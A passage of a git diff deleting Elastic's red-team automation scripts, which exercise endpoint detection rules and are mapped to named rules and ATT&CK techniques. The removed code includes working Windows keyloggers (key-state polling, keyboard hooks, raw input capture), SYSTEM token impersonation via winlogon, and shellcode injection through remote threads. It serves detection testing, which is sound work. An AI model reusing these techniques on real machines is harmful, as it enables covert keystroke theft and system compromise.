rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(EXE_FILE, cmstp) - common.copy_file(user32, dll) - common.copy_file(PS1_FILE, ps1) - common.copy_file(RENAMER, rcedit) - - # Execute command - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, cmstp, "--set-version-string", "OriginalFilename", "CMSTP.EXE"]) - - common.log("Loading scrobj.dll into fake cmstp") - common.execute([cmstp, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) - - common.remove_files(cmstp, dll, ps1, rcedit) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/collection_keylog_hook_keystate.py b/rta/collection_keylog_hook_keystate.py deleted file mode 100644 index c42e2f12b..000000000 --- a/rta/collection_keylog_hook_keystate.py +++ /dev/null @@ -1,89 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata -import time, sys - -WH_KEYBOARD_LL = 13 -WM_KEYDOWN = 0x0100 -HC_ACTION = 0 -hHook = None - -metadata = RtaMetadata( - uuid="19b7c8db-0279-41fe-b07d-481818185a10", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious Input Capture via GetAsyncKeyState API", "rule_id": "2ed0570d-3fa4-45b1-b4f2-d7fcc827daf1"}, - {"rule_name": "GetAsyncKeyState API Call from Suspicious Process", "rule_id": "be7140ba-4633-46a7-ac59-91cc85e5e252"}, - {"rule_name": "keystroke Messages Hooking via SetWindowsHookEx", "rule_id": "7ae180e1-e08f-40c2-82db-f274f688eea2"}, - {"rule_name": "Keystrokes Input Capture from Suspicious CallStack", "rule_id": "6ef43c9a-25af-449c-8416-20349780a146"}, - ], - siem=[], - techniques=["T1056", "T1056.001"], -) - - -def GetAsyncKeyState(): - from ctypes import windll - - user32 = windll.user32 - - special_keys = {0x08: "BS", 0x09: "Tab", 0x0d: "Enter", 0x10: "Shift", - 0x11: "Ctrl", 0x12: "Alt", 0x14: "CapsLock", 0x1b: "Esc", 0x20: "Space", - 0x2e: "Del"} - - # reset key states - for i in range(256): - user32.GetAsyncKeyState(i) - - start = time.time() - while time.time() - start < 5: - for i in range(256): - if user32.GetAsyncKeyState(i) & 1: - if i in special_keys: - print("<{}>".format(special_keys[i])) - elif 0x30 <= i <= 0x5a: - print("{:c}".format(i)) - else: - print("{:02x}".format(i)) - time.sleep(0.01) - sys.stdout.flush() - -def hook_procedure(code, w_param, l_paraml): - import ctypes - global hHook - user32 = ctypes.windll.user32 - - if code == HC_ACTION and w_param == WM_KEYDOWN: - print("Key down") - - return user32.CallNextHookEx(hHook, code, w_param, l_paraml) - - -@common.requires_os(*metadata.platforms) -def SetWindowsHookEx(): - import ctypes - from ctypes.wintypes import LPARAM, WPARAM - global hHook - user32 = ctypes.windll.user32 - hookproc = ctypes.WINFUNCTYPE(ctypes.HRESULT, ctypes.c_int, WPARAM, LPARAM) - proc = hookproc(hook_procedure) - hHook = user32.SetWindowsHookExA(WH_KEYBOARD_LL, proc, 0, 0) - - start = time.time() - while True: - user32.PeekMessageA(0, 0, 0, 0, 0) - time.sleep(.01) - if time.time() >= (start + 5): - print("Finished") - break - -def main(): - SetWindowsHookEx() - GetAsyncKeyState() - -if __name__ == "__main__": - exit(main()) diff --git a/rta/collection_keylog_rawinputdevice.py b/rta/collection_keylog_rawinputdevice.py deleted file mode 100644 index 30a8f74cc..000000000 --- a/rta/collection_keylog_rawinputdevice.py +++ /dev/null @@ -1,275 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. -# Adjusted version of https://github.com/XRoemer/Organon/blob/master/source/py/rawinputdata.py - -from . import common -from . import RtaMetadata -import time, sys - - -metadata = RtaMetadata( - uuid="89f2b412-bbc7-4298-8768-2f3d3b43c93b", - platforms=["windows"], - endpoint=[ - {"rule_name": "Keystroke Input Capture via DirectInput", "rule_id": "102b5c1a-7f2a-4254-8b26-6b299705fce7"}, - {"rule_name": "Keystroke Input Capture via RegisterRawInputDevices", "rule_id": "4dbb9dfb-b3e2-49d7-8919-d6f221526df4"}, - ], - siem=[], - techniques=["T1056", "T1056.001"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - from ctypes import c_long, c_int, c_uint, c_ushort, Structure, Union - from ctypes import WINFUNCTYPE, windll, byref, sizeof, pointer, WinError - from ctypes.wintypes import DWORD, HWND, HANDLE, WPARAM, ULONG, LONG, UINT - from ctypes.wintypes import BYTE, LPCSTR, HINSTANCE, LPVOID - - wndproc = WINFUNCTYPE(c_long, c_int, c_uint, c_int, c_int) - - class WNDCLASS(Structure): - _fields_ = [('style', c_uint), - ('lpfnWndProc', wndproc), - ('cbClsExtra', c_int), - ('cbWndExtra', c_int), - ('hInstance', HINSTANCE), - ('hIcon', HANDLE), - ('hCursor', HANDLE), - ('hbrBackground', HANDLE), - ('lpszMenuName', LPCSTR), - ('lpszClassName', LPCSTR)] - - class POINT(Structure): - _fields_ = [('x', c_long), - ('y', c_long)] - - class MSG(Structure): - _fields_ = [('hwnd', c_int), - ('message', c_uint), - ('wparam', c_int), - ('lparam', c_int), - ('time', c_int), - ('pt', POINT)] - - class RAWINPUTDEVICE(Structure): - _fields_ = [ - ("usUsagePage", c_ushort), - ("usUsage", c_ushort), - ("dwFlags", DWORD), - ("hwndTarget", HWND), - ] - - class RAWINPUTHEADER(Structure): - _fields_ = [ - ("dwType", DWORD), - ("dw_size", DWORD), - ("hDevice", HANDLE), - ("wparam", WPARAM), - ] - - class RAWMOUSE(Structure): - class _U1(Union): - class _S2(Structure): - _fields_ = [ - ("usButtonFlags", c_ushort), - ("usButtonData", c_ushort), - ] - _fields_ = [ - ("ulButtons", ULONG), - ("_s2", _S2), - ] - - _fields_ = [ - ("usFlags", c_ushort), - ("_u1", _U1), - ("ulRawButtons", ULONG), - ("lLastX", LONG), - ("lLastY", LONG), - ("ulExtraInformation", ULONG), - ] - _anonymous_ = ("_u1", ) - - class RAWKEYBOARD(Structure): - _fields_ = [ - ("MakeCode", c_ushort), - ("Flags", c_ushort), - ("Reserved", c_ushort), - ("VKey", c_ushort), - ("Message", UINT), - ("ExtraInformation", ULONG), - ] - - class RAWHID(Structure): - _fields_ = [ - ("dw_sizeHid", DWORD), - ("dwCount", DWORD), - ("bRawData", BYTE), - ] - - class RAWINPUT(Structure): - class _U1(Union): - _fields_ = [ - ("mouse", RAWMOUSE), - ("keyboard", RAWKEYBOARD), - ("hid", RAWHID), - ] - - _fields_ = [ - ("header", RAWINPUTHEADER), - ("_u1", _U1), - ("hDevice", HANDLE), - ("wparam", WPARAM), - ] - _anonymous_ = ("_u1", ) - - class RawInputReader(): - - def __init__(self): - pass - - def start(self): - - ws_overlapped_window = (0 | 12582912 | 524288 | 262144 | 131072 | 65536) - cw_use_default = -2147483648 - - try: - createwindowex = windll.user32.CreateWindowExA - createwindowex.argtypes = [DWORD, LPCSTR, LPCSTR, DWORD, - c_int, c_int, c_int, c_int, HANDLE, - HANDLE, HANDLE, LPVOID] - createwindowex.restype = HANDLE - wndclass = self.get_window() - # Create Window - hwnd = createwindowex(0, - wndclass.lpszClassName, - b"Python Window", - ws_overlapped_window, - cw_use_default, - cw_use_default, - cw_use_default, - cw_use_default, - 0, - 0, - wndclass.hInstance, - 0) - - if (hwnd == 0): - print(WinError()) - # Register for raw input - raw_input_device = (2 * RAWINPUTDEVICE)() - self.Rid = raw_input_device - raw_input_device[0].usUsagePage = 0x01 - raw_input_device[0].usUsage = 0x06 - ridev_input_sink = 0x00000100 # Get events even when not focused - raw_input_device[0].dwFlags = ridev_input_sink - raw_input_device[0].hwndTarget = hwnd - raw_input_device[1].usUsagePage = 0x01 - raw_input_device[1].usUsage = 0x02 - raw_input_device[1].dwFlags = ridev_input_sink - raw_input_device[1].hwnTarget = hwnd - - registerrawinputdevices = windll.user32.RegisterRawInputDevices - registerrawinputdevices(raw_input_device, 2, sizeof(RAWINPUTDEVICE)) - self.hwnd = hwnd - - except Exception as e: - print("error starting") - print(e) - - def get_window(self): - - cs_vredraw = 1 - cs_hredraw = 2 - idi_application = 32512 - idc_arrow = 32512 - white_brush = 0 - - # Define Window Class - wndclass = WNDCLASS() - self.wndclass = wndclass - wndclass.style = cs_hredraw | cs_vredraw - wndclass.lpfnWndProc = wndproc(lambda h, m, w, l: self.wndproc(h, m, w, l)) - wndclass.cbClsExtra = wndclass.cbWndExtra = 0 - wndclass.hInstance = windll.kernel32.GetModuleHandleA(c_int(0)) - wndclass.hIcon = windll.user32.LoadIconA(c_int(0), c_int(idi_application)) - wndclass.hCursor = windll.user32.LoadCursorA(c_int(0), c_int(idc_arrow)) - wndclass.hbrBackground = windll.gdi32.GetStockObject(c_int(white_brush)) - wndclass.lpszMenuName = None - wndclass.lpszClassName = b"MainWin" - - if not windll.user32.RegisterClassA(byref(wndclass)): - print("error in RegisterClassA") - raise WinError() - - return wndclass - - def poll_events(self): - - # Pump Messages - msg = MSG() - pmsg = pointer(msg) - - pm_remove = 1 - - while windll.user32.PeekMessageA(pmsg, self.hwnd, 0, 0, pm_remove) != 0: - windll.user32.DispatchMessageA(pmsg) - - def __del__(self): - pass - - def stop(self): - - self.Rid[0].dwFlags = 0x00000001 - windll.user32.DestroyWindow(self.hwnd) - - def wndproc(self, hwnd, message, wparam, lparam): - - try: - wm_input = 255 - ri_mouse_wheel = 0x0400 - wm_destroy = 2 - - if message == wm_destroy: - windll.user32.PostQuitMessage(0) - return 0 - - elif message == wm_input: - get_raw_input_data = windll.user32.get_raw_input_data - null = c_int(0) - dw_size = c_uint() - rid_input = 0x10000003 - get_raw_input_data(lparam, rid_input, null, byref(dw_size), sizeof(RAWINPUTHEADER)) - - if dw_size.value == 40: - # Mouse - raw = RAWINPUT() - - if get_raw_input_data(lparam, - rid_input, - byref(raw), - byref(dw_size), - sizeof(RAWINPUTHEADER)) == dw_size.value: - rim_typemouse = 0x00000000 - - if raw.header.dwType == rim_typemouse: - - if raw.mouse._u1._s2.usButtonFlags != ri_mouse_wheel: - return 0 - - return windll.user32.DefWindowProcA(c_int(hwnd), c_int(message), c_int(wparam), c_int(lparam)) - - except Exception as e: - print("general exception in wndproc") - print(e) - - rir = RawInputReader() - rir.start() - time.sleep(5) - rir.stop() - - -if __name__ == "__main__": - exit(main(*sys.argv[1:])) \ No newline at end of file diff --git a/rta/common.py b/rta/common.py deleted file mode 100644 index 09afe2efe..000000000 --- a/rta/common.py +++ /dev/null @@ -1,813 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from __future__ import unicode_literals, print_function - -import binascii -import contextlib -import functools -import getpass -import inspect -import os -import platform -import re -import shutil -import socket -import subprocess -import sys -import tempfile -import threading -import time -from pathlib import Path -from typing import Iterable, Optional, Union - - - - -from http.server import HTTPServer, SimpleHTTPRequestHandler - -long_t = type(1 << 63) - -HOSTNAME = socket.gethostname() -LOCAL_IP = None - - -def get_ip() -> str: - global LOCAL_IP, HOSTNAME - - if LOCAL_IP is None: - try: - LOCAL_IP = socket.gethostbyname(HOSTNAME) - except socket.gaierror: - LOCAL_IP = "127.0.0.1" - - return LOCAL_IP - - -def get_winreg(): - try: - import _winreg as winreg - except ImportError: - import winreg - return winreg - - -# Multi-OS Support -WINDOWS = "windows" -MACOS = "macos" -LINUX = "linux" - -if sys.platform == "darwin": - CURRENT_OS = MACOS -elif sys.platform.startswith("win"): - CURRENT_OS = WINDOWS -else: - CURRENT_OS = LINUX - -if CURRENT_OS == WINDOWS: - CMD_PATH = os.environ.get("COMSPEC") - POWERSHELL_PATH = "C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - import ctypes - import win32process - import win32file - import win32service - import win32api, win32security - from ctypes import byref, windll, wintypes - from ctypes.wintypes import BOOL - from ctypes.wintypes import DWORD - from ctypes.wintypes import HANDLE - from ctypes.wintypes import LPVOID - from ctypes.wintypes import LPCVOID - # Windows related constants and classes - TH32CS_SNAPPROCESS = 0x00000002 - PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 - TOKEN_DUPLICATE = 0x0002 - TOKEN_ALL_ACCESS = 0xf00ff - MAX_PATH = 260 - BOOL = ctypes.c_int - DWORD = ctypes.c_uint32 - HANDLE = ctypes.c_void_p - LONG = ctypes.c_int32 - NULL_T = ctypes.c_void_p - SIZE_T = ctypes.c_uint - TCHAR = ctypes.c_char - USHORT = ctypes.c_uint16 - UCHAR = ctypes.c_ubyte - ULONG = ctypes.c_uint32 - - class PROCESSENTRY32(ctypes.Structure): - _fields_ = [ - ('dwSize', DWORD), - ('cntUsage', DWORD), - ('th32ProcessID', DWORD), - ('th32DefaultHeapID', NULL_T), - ('th32ModuleID', DWORD), - ('cntThreads', DWORD), - ('th32ParentProcessID', DWORD), - ('pcPriClassBase', LONG), - ('dwFlags', DWORD), - ('szExeFile', TCHAR * MAX_PATH) - ] - - LPCSTR = LPCTSTR = ctypes.c_char_p - LPDWORD = PDWORD = ctypes.POINTER(DWORD) - - class _SECURITY_ATTRIBUTES(ctypes.Structure): - _fields_ = [('nLength', DWORD), - ('lpSecurityDescriptor', LPVOID), - ('bInheritHandle', BOOL), ] - - SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES - LPSECURITY_ATTRIBUTES = ctypes.POINTER(_SECURITY_ATTRIBUTES) - LPTHREAD_START_ROUTINE = LPVOID - -else: - CMD_PATH = "/bin/sh" - POWERSHELL_PATH = None - -BASE_DIR = Path(__file__).resolve().parent -ALL_IP = "0.0.0.0" -IP_REGEX = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" -CALLBACK_REGEX = r"https?://" + IP_REGEX + r":\d+" - -USER_NAME = getpass.getuser().lower() - -SUCCESS = 0 -PYTHON_ERROR = 1 # Python does this internally, so we don't want to overwrite it -GENERAL_ERROR = 2 -MISSING_DEPENDENCIES = 3 -MISSING_PSEXEC = 4 -ACCESS_DENIED = 5 -UNSUPPORTED_RTA = 6 -MISSING_REMOTE_HOST = 7 - -# Amount of seconds a command should take at a minimum. -# This can allow for arbitrary slow down of scripts -MIN_EXECUTION_TIME = 0 - -MAX_HOSTS = 64 - -# Useful constants -HKLM = "hklm" -HKCU = "hkcu" -HKU = "hku" -HKCR = "hkcr" - -SZ = "sz" -EXPAND_SZ = "expand_sz" -MULTI_SZ = "multi_sz" -DWORD = "dword" - - -OS_MAPPING = {WINDOWS: [], MACOS: [], LINUX: []} - - -def requires_os(*os_list: str): - if len(os_list) == 1 and isinstance(os_list[0], (list, tuple)): - os_list = os_list[0] - - def decorator(f): - # Register this function with the support os mapping - for os_type in os_list: - OS_MAPPING[os_type].append(f.__module__.split(".")[-1]) - - @functools.wraps(f) - def decorated(*args, **kwargs): - if CURRENT_OS not in os_list: - # NOTE os.path.relpath supports Path objects and does not exist in pathlib - filename = os.path.relpath(inspect.getsourcefile(f)) - func_name = f.__name__ - - log(f"Unsupported OS for {filename}:{func_name}(). Expected {'/'.join(os_list)}", "!") - return UNSUPPORTED_RTA - return f(*args, **kwargs) - - return decorated - - return decorator - - -def check_dependencies(*paths: str) -> bool: - missing = [] - for path in paths: - if not Path(path).exists(): - log("Missing dependency %s" % path, "!") - missing.append(path) - return len(missing) == 0 - - -def dependencies(*paths: str): - missing = [] - for path in paths: - if not Path(path).exists(): - missing.append(path) - - def decorator(f): - @functools.wraps(f) - def decorated(*args, **kwargs): - if len(missing): - log("Missing dependencies for %s:%s()" % (f.__code__.co_filename, f.__code__.co_name), "!") - for dep in missing: - # NOTE os.path.relpath supports Path objects and does not exist in pathlib - print(" - %s" % os.path.relpath(dep, BASE_DIR)) - return MISSING_DEPENDENCIES - return f(*args, **kwargs) - - return decorated - - return decorator - - -def pause(): - time.sleep(0.5) - - -def get_path(*path: str) -> str: - return str(Path(BASE_DIR).joinpath(*path)) - - -@contextlib.contextmanager -def temporary_file(contents, file_name=None): - handle, close = temporary_file_helper(contents, file_name) - - try: - yield handle - finally: - close() - - -def temporary_file_helper(contents, file_name=None): - if not (file_name and Path(file_name).is_absolute()): - file_name = Path(tempfile.gettempdir()) / file_name or f"temp{hash(contents):d}" - - with open(file_name, "wb" if isinstance(contents, bytes) else "w") as f: - f.write(contents) - - f = open(file_name, "rb" if isinstance(contents, bytes) else "r") - - def close(): - f.close() - os.remove(file_name) - - return f, close - - -def execute( - command: Iterable, - hide_log=False, - mute=False, - timeout: int = 30, - wait=True, - kill=False, - drop=False, - stdin: Optional[Union[bytes, str]] = None, - shell=False, - **kwargs, -): - """Execute a process and get the output.""" - command_string = command - close = None - - if isinstance(command, (list, tuple)): - command_string = subprocess.list2cmdline(command) - - if shell: - command = command_string - else: - sys.stderr.write("Deprecation warning! Switch arguments to a list for common.execute()\n\n") - - if not hide_log: - print("%s @ %s > %s" % (USER_NAME, HOSTNAME, command_string)) - - if isinstance(stdin, (bytes, str)): - stdin, close = temporary_file_helper(stdin) - - stdout = subprocess.PIPE - stderr = subprocess.STDOUT - - if drop or kill: - devnull = open(os.devnull, "w") - stdout = devnull - stderr = devnull - - start = time.time() - - p = subprocess.Popen(command, stdin=stdin or subprocess.PIPE, stdout=stdout, stderr=stderr, shell=shell, **kwargs) - - if kill: - delta = 0.5 - # Try waiting for the process to die - for _ in range(int(timeout / delta) + 1): - time.sleep(delta) - if p.poll() is not None: - return - - log("Killing process", str(p.pid)) - try: - p.kill() - time.sleep(0.5) - except OSError: - pass - elif wait: - output = "" - - if not stdin: - try: - p.stdin.write(os.linesep.encode("ascii")) - except IOError: - # this pipe randomly breaks when executing certain non-zero exit commands on linux - pass - - while p.poll() is None: - line = p.stdout.readline().decode("ascii", "ignore") - if line: - output += line - if not (hide_log or mute): - print(line.rstrip()) - - output += p.stdout.read().decode("ascii", "ignore") - output = output.strip() - - # Add artificial sleep to slow down command lines - end = time.time() - run_time = end - start - if run_time < MIN_EXECUTION_TIME: - time.sleep(MIN_EXECUTION_TIME - run_time) - - if not (hide_log or mute): - if p.returncode != 0: - print("exit code = %d" % p.returncode) - print("") - - if close: - close() - - return p.returncode, output - else: - if close: - close() - - return p - - -def log(message, log_type="+"): - print("[%s] %s" % (log_type, message)) - - -def copy_file(source, target): - log("Copying %s -> %s" % (source, target)) - shutil.copy(source, target) - - -def create_macos_masquerade(masquerade: str): - if platform.processor() == "arm": - name = "com.apple.ditto_and_spawn_arm" - else: - name = "com.apple.ditto_and_spawn_intel" - source = get_path("bin", name) - - copy_file(source, masquerade) - - -def link_file(source, target): - log("Linking %s -> %s" % (source, target)) - execute(["ln", "-s", source, target]) - -def remove_file(path: str): - if Path(path).is_file(): - log("Removing %s" % path, log_type="-") - # Try three times to remove the file - for _ in range(3): - try: - Path(path).unlink() - except OSError: - time.sleep(0.25) - else: - return - - -def remove_directory(path): - if Path(path).is_dir(): - log(f"Removing directory {path:s}", log_type="-") - shutil.rmtree(path) - else: - remove_file(path) - - -def is_64bit(): - return os.environ.get("PROCESSOR_ARCHITECTURE", "") in ("x64", "AMD64") - - -def remove_files(*paths): - for path in paths: - remove_file(path) - - -def clear_web_cache(): - log("Clearing temporary files", log_type="-") - execute(["RunDll32.exe", "InetCpl.cpl,", "ClearMyTracksByProcess", "8"], hide_log=True) - time.sleep(1) - - -def serve_web(ip=None, port=None, directory=BASE_DIR): - handler = SimpleHTTPRequestHandler - - ip = ip or get_ip() - - if port is not None: - server = HTTPServer((ip, port), handler) - else: - # Otherwise, try to find a port - for port in range(8000, 9000): - try: - server = HTTPServer((ip, port), handler) - break - except socket.error: - pass - - def server_thread(): - log(f"Starting web server on http://{ip}:{port:d} for directory {directory}") - os.chdir(directory) - server.serve_forever() - - # Start this thread in the background - thread = threading.Thread(target=server_thread) - thread.setDaemon(True) - thread.start() - - time.sleep(0.5) - return server, ip, port - - -def patch_file(source_file, old_bytes, new_bytes, target_file=None): - target_file = target_file or target_file - log( - "Patching bytes %s [%s] --> %s [%s]" - % (source_file, binascii.b2a_hex(old_bytes), target_file, binascii.b2a_hex(new_bytes)) - ) - - with open(source_file, "rb") as f: - contents = f.read() - - patched = contents.replace(old_bytes, new_bytes) - - with open(target_file, "wb") as f: - f.write(patched) - - -def patch_regex(source_file, regex, new_bytes, target_file=None): - regex = regex.encode("ascii") - new_bytes = new_bytes.encode("ascii") - target_file = target_file or source_file - log("Patching by regex %s --> %s" % (source_file, target_file)) - - with open(source_file, "rb") as f: - contents = f.read() - - matches = re.findall(regex, contents) - - log("Changing %s -> %s" % (", ".join("{}".format(m) for m in matches), new_bytes)) - contents = re.sub(regex, new_bytes, contents) - - with open(target_file, "wb") as f: - f.write(contents) - - -def wchar(s): - return s.encode("utf-16le") - - -def find_remote_host(): - log("Searching for remote Windows hosts") - _, stdout = execute("net view", hide_log=True) - hosts = re.findall(r"\\\\([\w\d\._-]+)", stdout) - - # _, current_user = execute("whoami", hide_log=True) - pending = {} - - log("Discovery %d possible hosts" % len(hosts)) - for name in hosts[:MAX_HOSTS]: - name = name.lower() - if name.split(".")[0] == HOSTNAME.split(".")[0]: - continue - - # log("Checking if %s has remote admin permissions to %s" % (current_user, name)) - dev_null = open(os.devnull, "w") - p = subprocess.Popen("sc.exe \\\\%s query" % name, stdout=dev_null, stderr=dev_null, stdin=subprocess.PIPE) - pending[name] = p - - if len(pending) > 0: - # See which ones return first with a success code, and use that host - for _ in range(20): - for hostname, pending_process in sorted(pending.items()): - if pending_process.poll() is None: - pending_process.stdin.write(os.linesep) - if pending_process.returncode == 0: - # Now need to get the IP address - ip = get_ipv4_address(hostname) - if ip is not None: - log("Using remote host %s (%s)" % (ip, hostname)) - return ip - pending.pop(hostname) - time.sleep(0.5) - - log("Unable to find a remote host to pivot to. Using local host %s" % HOSTNAME, log_type="!") - return get_ip() - - -def get_ipv4_address(hostname): - if re.match(IP_REGEX, hostname): - return hostname - - code, output = execute(["ping", hostname, "-4", "-n", 1], hide_log=True) - if code != 0: - return None - - addresses = re.findall(IP_REGEX, output) - if len(addresses) == 0: - return None - return addresses[0] - - -def find_writeable_directory(base_dir): - for root, dirs, files in os.walk(base_dir): - for d in dirs: - subdir = Path(base_dir) / d - try: - test_file = Path(subdir) / "test_file" - f = open(test_file, "w") - f.close() - os.remove(test_file) - return subdir - except IOError: - pass - - -def check_system(): - return USER_NAME == "system" or USER_NAME.endswith("$") - - -PS_EXEC = get_path("bin", "PsExec.exe") - - -def run_system(arguments=None): - if check_system(): - return None - - if arguments is None: - # NOTE os.path.relpath supports Path objects and does not exist in pathlib - arguments = [sys.executable, os.path.abspath(sys.argv[0])] + sys.argv[1:] - - log("Attempting to elevate to SYSTEM using PsExec") - if not Path(PS_EXEC).is_file(): - log("PsExec not found", log_type="-") - return MISSING_PSEXEC - - p = subprocess.Popen([PS_EXEC, "-w", os.getcwd(), "-accepteula", "-s"] + arguments) - p.wait() - code = p.returncode - if code == ACCESS_DENIED: - log("Failed to escalate to SYSTEM", "!") - return code - - -def write_reg( - hive: str, - key: str, - value: str, - data: Union[str, int], - data_type: Union[str, int, list], - restore=True, - pause=False, - append=False, -) -> None: - with temporary_reg(hive, key, value, data, data_type, restore, pause, append): - pass - - -def read_reg(hive: str, key: str, value: str) -> (str, str): - winreg = get_winreg() - - if isinstance(hive, str): - hives = { - "hklm": winreg.HKEY_LOCAL_MACHINE, - "hkcu": winreg.HKEY_LOCAL_MACHINE, - "hku": winreg.HKEY_USERS, - "hkcr": winreg.HKEY_CLASSES_ROOT, - } - hive = hives[hive.lower()] - - try: - hkey = winreg.CreateKey(hive, key.rstrip("\\")) - old_data, old_type = winreg.QueryValueEx(hkey, value) - except WindowsError as e: - # check if the key already exists - if e.errno != 2: - raise - - return None, None - - return old_data, old_type - - -@contextlib.contextmanager -def temporary_reg( - hive: str, - key: str, - value: str, - data: Union[str, int], - data_type: Union[str, int, list] = "sz", - restore=True, - pause=False, - append=False, -) -> None: - winreg = get_winreg() - - if isinstance(hive, str): - hives = { - "hklm": winreg.HKEY_LOCAL_MACHINE, - "hkcu": winreg.HKEY_CURRENT_USER, - "hku": winreg.HKEY_USERS, - "hkcr": winreg.HKEY_CLASSES_ROOT, - } - hive = hives[hive.lower()] - - if isinstance(data_type, str): - attr = "REG_" + data_type.upper() - data_type = getattr(winreg, attr) - - if data_type is None: - data_type = winreg.REG_SZ - - key = key.rstrip("\\") - hkey = winreg.CreateKey(hive, key) - exists = False - old_data = None - old_type = None - - if hkey: - try: - old_data, old_type = winreg.QueryValueEx(hkey, value) - exists = True - except WindowsError as e: - # check if the key already exists - exists = False - old_data, old_type = None, None - if e.errno != 2: - raise - - if append and exists: - # If appending to the existing REG_MULTI_SZ key, then append to the end - if not isinstance(data, list): - data = [data] - - if isinstance(old_data, list): - data = old_data + data - - data_string = ",".join(data) if isinstance(data, list) else data - log("Writing to registry %s\\%s -> %s" % (key, value, data_string)) - winreg.SetValueEx(hkey, value, 0, data_type, data) - stored, code = winreg.QueryValueEx(hkey, value) - - if data != stored: - log("Wrote %s but retrieved %s" % (data, stored), log_type="-") - - # Allow code to execute within the context manager 'with' - try: - yield - - finally: - if restore: - time.sleep(0.5) - - if not exists: - # If it didn't already exist, then delete it - log("Deleting %s\\%s" % (key, value), log_type="-") - winreg.DeleteValue(hkey, value) - else: - # Otherwise restore the value - data_string = ",".join(old_data) if isinstance(old_data, list) else old_data - log("Restoring registry %s\\%s -> %s" % (key, value, data_string), log_type="-") - winreg.SetValueEx(hkey, value, 0, old_type, old_data) - - hkey.Close() - print("") - - if pause: - time.sleep(0.5) - - -def enable_logon_auditing(host="localhost", verbose=True, sleep=2): - """Enable logon auditing on local or remote system to enable 4624 and 4625 events.""" - if verbose: - log(f"Ensuring audit logging enabled on {host}") - - auditpol = "auditpol.exe /set /subcategory:Logon /failure:enable /success:enable" - enable_logging = "Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList '{}'".format( - host, auditpol - ) - command = ["powershell", "-c", enable_logging] - enable = execute(command) - - # additional time to allow auditing to process - time.sleep(sleep) - return enable - - -def print_file(path): - print(path) - if not Path(path).is_file(): - print("--- NOT FOUND ----") - else: - print("-" * 16) - with open(path, "r") as f: - print(f.read().rstrip()) - - print("") - - -# return pid by process.name -@requires_os('windows') -def getppid(pname): - CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot - Process32First = ctypes.windll.kernel32.Process32First - Process32Next = ctypes.windll.kernel32.Process32Next - CloseHandle = ctypes.windll.kernel32.CloseHandle - - hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) - pe32 = PROCESSENTRY32() - pe32.dwSize = ctypes.sizeof(PROCESSENTRY32) - current_pid = os.getpid() - - - if Process32First(hProcessSnap, ctypes.byref(pe32)) == 0: - print(f"[x] - Failed getting first process.") - return - - while True: - procname = pe32.szExeFile.decode("utf-8").lower() - if pname.lower() in procname: - CloseHandle(hProcessSnap) - return pe32.th32ProcessID - if not Process32Next(hProcessSnap, ctypes.byref(pe32)): - CloseHandle(hProcessSnap) - return None - -@requires_os('windows') -def impersonate_system(): - try: - hp = win32api.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, getppid("winlogon.exe")) - th = win32security.OpenProcessToken(hp, TOKEN_DUPLICATE) - new_tokenh = win32security.DuplicateTokenEx(th, 2, TOKEN_ALL_ACCESS , win32security.TokenImpersonation , win32security.SECURITY_ATTRIBUTES()) - win32security.ImpersonateLoggedOnUser(new_tokenh) - print(f"[+] - Impersonated System Token via Winlogon") - win32api.CloseHandle(hp) - except Exception as e: - print(f"[x] - Failed To Impersonate System Token via Winlogon") - -@requires_os('windows') -def Inject(path, shellcode): - import ctypes, time - import ctypes.wintypes - - from ctypes.wintypes import BOOL - from ctypes.wintypes import DWORD - from ctypes.wintypes import HANDLE - from ctypes.wintypes import LPVOID - from ctypes.wintypes import LPCVOID - import win32process - # created suspended process - info = win32process.CreateProcess(None, path, None, None, False, 0x04, None, None, win32process.STARTUPINFO()) - page_rwx_value = 0x40 - process_all = 0x1F0FFF - memcommit = 0x00001000 - - if info[0].handle > 0 : - print(f"[+] - Created {path} Suspended") - shellcode_length = len(shellcode) - process_handle = info[0].handle # phandle - VirtualAllocEx = windll.kernel32.VirtualAllocEx - VirtualAllocEx.restype = LPVOID - VirtualAllocEx.argtypes = (HANDLE, LPVOID, DWORD, DWORD, DWORD) - - WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory - WriteProcessMemory.restype = BOOL - WriteProcessMemory.argtypes = (HANDLE, LPVOID, LPCVOID, DWORD, DWORD) - CreateRemoteThread = ctypes.windll.kernel32.CreateRemoteThread - CreateRemoteThread.restype = HANDLE - CreateRemoteThread.argtypes = (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, LPTHREAD_START_ROUTINE, LPVOID, DWORD, DWORD) - - # allocate RWX memory - lpBuffer = VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value) - print(f'[+] - Allocated remote memory at {hex(lpBuffer)}') - - # write shellcode in allocated memory - res = WriteProcessMemory(process_handle, lpBuffer, shellcode, shellcode_length, 0) - if res > 0 : - print('[+] - Shellcode written.') - - # create remote thread to start shellcode execution - CreateRemoteThread(process_handle, None, 0, lpBuffer, 0, 0, 0) - print('[+] - Shellcode Injection, done.') diff --git a/rta/comsvcs_dump.py b/rta/comsvcs_dump.py deleted file mode 100644 index 2d0ea6f53..000000000 --- a/rta/comsvcs_dump.py +++ /dev/null @@ 